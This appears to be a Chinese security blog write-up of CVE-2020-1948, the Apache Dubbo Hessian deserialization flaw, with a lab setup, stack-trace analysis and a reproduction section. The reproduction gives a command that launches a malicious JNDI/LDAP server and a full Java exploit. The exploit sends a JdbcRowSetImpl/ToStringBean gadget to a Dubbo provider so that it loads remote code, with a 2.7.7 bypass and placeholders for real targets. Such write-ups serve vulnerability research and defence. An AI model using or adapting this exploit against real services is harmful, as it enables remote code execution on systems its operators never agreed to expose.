Apache_Dubbo_Provider_dubbo协议反序列化漏洞(CVE-2020-1948)
Apache Dubbo Provider dubbo协议反序列化漏洞(CVE-2020-1948)
1 漏洞简介
Apache Dubbo Provider存在反序列化漏洞,当 Dubbo
服务端暴露时(默认端口:20880),攻击者可以发送未经验证的服务名或方法名的RPC请求,同时配合附加恶意的参数负载。当恶意参数被反序列化时,将执行恶意代码。
2 影响范围
Apache Dubbo 2.7.0 ~ 2.7.6
Apache Dubbo 2.6.0 ~ 2.6.7
Apache Dubbo 2.5.x 所有版本 (官方不再提供支持)
3 环境搭建
3.1 导入docker image
1
$ docker load -i polarvul_dubbo_cve-2020-1948.tar
3.2 启动docker容器
1
$ docker run -d --name polarvul_dubbo -p8080:12345 polarvul_dubbo_cve-2020-1948:web
4 漏洞分析
先放出整个调用过程的堆栈信息:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
toString:164, ToStringBean (com.rometools.rome.feed.impl)
toString:129, ToStringBean (com.rometools.rome.feed.impl)
valueOf:2994, String (java.lang)
append:131, StringBuilder (java.lang)
toString:536, AbstractMap (java.util)
valueOf:2994, String (java.lang)
append:131, StringBuilder (java.lang)
toString:429, RpcInvocation (org.apache.dubbo.rpc)
valueOf:2994, String (java.lang)
append:131, StringBuilder (java.lang)
getInvoker:265, DubboProtocol (org.apache.dubbo.rpc.protocol.dubbo)
reply:120, DubboProtocol$1 (org.apache.dubbo.rpc.protocol.dubbo)
received:152, DubboProtocol$1 (org.apache.dubbo.rpc.protocol.dubbo)
received:177, HeaderExchangeHandler (org.apache.dubbo.remoting.exchange.support.header)
received:51, DecodeHandler (org.apache.dubbo.remoting.transport)
run:57, ChannelEventRunnable (org.apache.dubbo.remoting.transport.dispatcher)
runWorker:1142, ThreadPoolExecutor (java.util.concurrent)
run:617, ThreadPoolExecutor$Worker (java.util.concurrent)
run:745, Thread (java.lang)
org.apache.dubbo.remoting.transport.DecodeHandler#received
org.apache.dubbo.remoting.transport.DecodeHandler#decode
org.apache.dubbo.rpc.protocol.dubbo.DecodeableRpcInvocation#decode
org.apache.dubbo.rpc.protocol.dubbo.CallbackServiceCodec#decodeInvocationArgument
org.apache.dubbo.rpc.protocol.dubbo.DubboProtocol#getInvoker
隐式调用toString
:
当exporter
是null
的时候,会进行异常处理,也就是在this.exporterMap
中找不到键值为servicekey
的值,其中servicekey
是用户请求的servicename
,this.exporterMap
是provider
定义的service
,也就是说当用户请求的service
在provider
中找不到时,会触发该漏洞。
org.apache.dubbo.rpc.RpcInvocation#toString
这边还是隐式调用toString
从而走到ToStringBean
通过报错看一下整个调用栈:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
at java.lang.ProcessBuilder.start(ProcessBuilder.java:1048)
at java.lang.Runtime.exec(Runtime.java:620)
at java.lang.Runtime.exec(Runtime.java:450)
at java.lang.Runtime.exec(Runtime.java:347)
at ExecTemplateJDK8.<clinit>(Unknown Source)
at java.lang.Class.forName0(Native Method)
at java.lang.Class.forName(Class.java:348)
at com.sun.naming.internal.VersionHelper12.loadClass(VersionHelper12.java:72)
at com.sun.naming.internal.VersionHelper12.loadClass(VersionHelper12.java:87)
at javax.naming.spi.NamingManager.getObjectFactoryFromReference(NamingManager.java:158)
at javax.naming.spi.DirectoryManager.getObjectInstance(DirectoryManager.java:189)
at com.sun.jndi.ldap.LdapCtx.c_lookup(LdapCtx.java:1085)
at com.sun.jndi.toolkit.ctx.ComponentContext.p_lookup(ComponentContext.java:542)
at com.sun.jndi.toolkit.ctx.PartialCompositeContext.lookup(PartialCompositeContext.java:177)
at com.sun.jndi.toolkit.url.GenericURLContext.lookup(GenericURLContext.java:205)
at com.sun.jndi.url.ldap.ldapURLContext.lookup(ldapURLContext.java:94)
at javax.naming.InitialContext.lookup(InitialContext.java:417)
at com.sun.rowset.JdbcRowSetImpl.connect(JdbcRowSetImpl.java:624)
at com.sun.rowset.JdbcRowSetImpl.getDatabaseMetaData(JdbcRowSetImpl.java:4004)
at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
at sun.reflect.NativeMethodAccessorImpl.invoke(NativeMethodAccessorImpl.java:62)
at sun.reflect.DelegatingMethodAccessorImpl.invoke(DelegatingMethodAccessorImpl.java:43)
at java.lang.reflect.Method.invoke(Method.java:497)
at com.rometools.rome.feed.impl.ToStringBean.toString(ToStringBean.java:158)
at com.rometools.rome.feed.impl.ToStringBean.toString(ToStringBean.java:129)
at java.lang.String.valueOf(String.java:2994)
at java.lang.StringBuilder.append(StringBuilder.java:131)
at java.util.AbstractMap.toString(AbstractMap.java:536)
at java.lang.String.valueOf(String.java:2994)
at java.lang.StringBuilder.append(StringBuilder.java:131)
at org.apache.dubbo.rpc.RpcInvocation.toString(RpcInvocation.java:429)
at org.apache.dubbo.remoting.exchange.Request.safeToString(Request.java:63)
at org.apache.dubbo.remoting.exchange.Request.toString(Request.java:133)
at java.lang.String.valueOf(String.java:2994)
at java.lang.StringBuilder.append(StringBuilder.java:131)
at org.apache.dubbo.remoting.transport.dispatcher.ChannelEventRunnable.run(ChannelEventRunnable.java:59)
at java.util.concurrent.ThreadPoolExecutor.runWorker(ThreadPoolExecutor.java:1142)
at java.util.concurrent.ThreadPoolExecutor$Worker.run(ThreadPoolExecutor.java:617)
at java.lang.Thread.run(Thread.java:745)
5 漏洞复现
因为利用的是JNDI
注入的攻击手法所以先用工具起一个恶意的RMISERVER
和LDAPSERVER
工具:https://github.com/cckuailong/JNDI-Injection-Exploit-Plus/
1
java -jar JNDI-Injection-Exploit-Plus-2.4-SNAPSHOT-all.jar -C "calc" -A "127.0.0.1"
Exp:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
package org.example;
import com.rometools.rome.feed.impl.ToStringBean;
import com.sun.rowset.JdbcRowSetImpl;
import org.apache.dubbo.common.io.Bytes;
import org.apache.dubbo.common.serialize.Cleanable;
import org.apache.dubbo.common.serialize.hessian2.Hessian2ObjectOutput;
import org.example.utils.Reflections;
import java.io.ByteArrayOutputStream;
import java.io.OutputStream;
import java.net.Socket;
import java.util.HashMap;
import java.util.Random;
/*
* CVE-2020-1948
* 2.5.x、[2.6.0, 2.6.7]、[2.7.0, 2.7.6]、2.7.7
* 抓请求包看看数据
*/
public class CVE_2020_1948_bypass {
public static void main(String[] args) throws Exception {
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
// header.
byte[] header = new byte[16];
// set magic number.
Bytes.short2bytes((short) 0xdabb, header);
// set request and serialization flag.
header[2] = (byte) ((byte) 0x80 | 2);
// set request id.
Bytes.long2bytes(new Random().nextInt(100000000), header, 4);
ByteArrayOutputStream hessian2ByteArrayOutputStream = new ByteArrayOutputStream();
Hessian2ObjectOutput out = new Hessian2ObjectOutput(hessian2ByteArrayOutputStream);
out.writeUTF("2.7.7");
//todo 此处填写注册中心获取到的service全限定名、版本号、方法名
out.writeUTF("");
out.writeUTF("1.0");
// dubbo 2.7.7版本绕过
out.writeUTF("$echo");
//todo 方法描述不需要修改,因为此处需要指定map的payload去触发
out.writeUTF("Ljava/lang/Object;");
out.writeObject("foo");
JdbcRowSetImpl rs = new JdbcRowSetImpl();
//todo 此处填写ldap url
rs.setDataSourceName("ldap://127.0.0.1:1389/remoteExploit8");
rs.setMatchColumn("foo");
Reflections.getField(javax.sql.rowset.BaseRowSet.class, "listeners").set(rs, null);
ToStringBean item = new ToStringBean(JdbcRowSetImpl.class, rs);
HashMap attachments = new HashMap();
attachments.put("pwn", item);
out.writeObject(attachments);
out.flushBuffer();
if (out instanceof Cleanable) {
((Cleanable) out).cleanup();
}
Bytes.int2bytes(hessian2ByteArrayOutputStream.size(), header, 12);
byteArrayOutputStream.write(header);
byteArrayOutputStream.write(hessian2ByteArrayOutputStream.toByteArray());
byte[] bytes = byteArrayOutputStream.toByteArray();
//todo 此处填写被攻击的dubbo服务提供者地址和端口
Socket socket = new Socket("127.0.0.1", 8080);
OutputStream outputStream = socket.getOutputStream();
outputStream.write(bytes);
outputStream.flush();
outputStream.close();
}
}
本文由作者按照 CC BY 4.0 进行授权